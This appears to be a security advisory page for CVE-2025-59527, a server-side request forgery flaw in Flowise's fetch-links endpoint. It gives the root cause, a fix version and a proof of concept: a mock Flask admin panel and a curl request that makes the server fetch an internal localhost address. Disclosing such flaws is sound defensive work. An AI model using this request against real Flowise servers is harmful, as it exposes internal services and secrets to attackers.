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AI agent vulnerability · Flowise

CVE-2025-59527: FlowiseAI/Flowise has Server-Side Request Forgery (SSRF) vulnerability

highCVSS 3.1 7.5GHSA-hr92-4q35-4j3m

Summary --- A Server-Side Request Forgery (SSRF) vulnerability was discovered in the /api/v1/fetch-links endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.

Published Sep 15, 2025 · Updated Sep 22, 2025

Affected packages

flowise

Ecosystem
npm
Affected
= 3.0.5
Fixed in
3.0.6
Check
npm ls flowise

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

---

A Server-Side Request Forgery (SSRF) vulnerability was discovered in the /api/v1/fetch-links endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.

Details

---

Vulnerability Overview

The fetch-links feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.

The issue arises because the feature performs these HTTP requests without validating the user-supplied URL. In particular, when the relativeLinksMethod parameter is set to webCrawl or xmlScrape, the server directly calls the fetch() function with the provided URL, making it vulnerable to SSRF attacks.

Root Cause

The fetch() function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.

Taint Flow

• Taint 01: Route Registration

https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24

• Taint 02: Service

https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18

• Taint 03: xmlScrape

https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478

PoC

---

PoC Description

This vulnerability was verified in a local development environment. The Flowise server was running at http://localhost:3000, and authentication was performed using the Bearer token:

tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q

Upon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:

  • /api/users (User Management)
  • /api/secrets (API Keys)
  • /api/database (Database Config)

This demonstrated that an attacker could enumerate internal web service structures.

Internal Admin Server (Mock)

from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/')
def admin():
    return render_template_string("""
    <html>
    <h1>Internal Admin Panel</h1>
    <ul>
        <li>User Management</li>
        <li>API Keys</li>
        <li>Database Config</li>
        <li>System Logs</li>
    </ul>
    """)

@app.route('/api/users')
def users():
    return render_template_string("""
    <html>
    <h1>Users</h1>
    <ul>
        <li>admin (root)</li>
        <li>operator</li>
    </ul>
    Back
    """)

@app.route('/api/secrets')
def secrets():
    return render_template_string("""
    <html>
    <h1>Secrets</h1>
    <ul>
        <li>DB Key: sk-1234567890abcdef</li>
        <li>AWS Key: AKIAIOSFODNN7EXAMPLE</li>
    </ul>
    Back
    """)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8080)

curl Request Example

curl -G 'http://localhost:3000/api/v1/fetch-links' \
     --data-urlencode 'url=http://127.0.0.1:8080/' \
     --data-urlencode 'relativeLinksMethod=webCrawl' \
     --data-urlencode 'limit=10' \
     -H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \
     -s | jq '.'

Impact

---

This is a Server-Side Request Forgery (SSRF) vulnerability.

  • Who is impacted? Any user running Flowise server exposed to external traffic.
  • Risk: Attackers can leverage the Flowise server to:
  • Explore internal web applications
  • Bypass firewall rules
  • Access sensitive administrative interfaces
  • Leak internal configuration, credentials, or secrets

This vulnerability significantly increases the risk of internal service enumeration and potential lateral movement in an enterprise environment.

Credited to im-soohyun.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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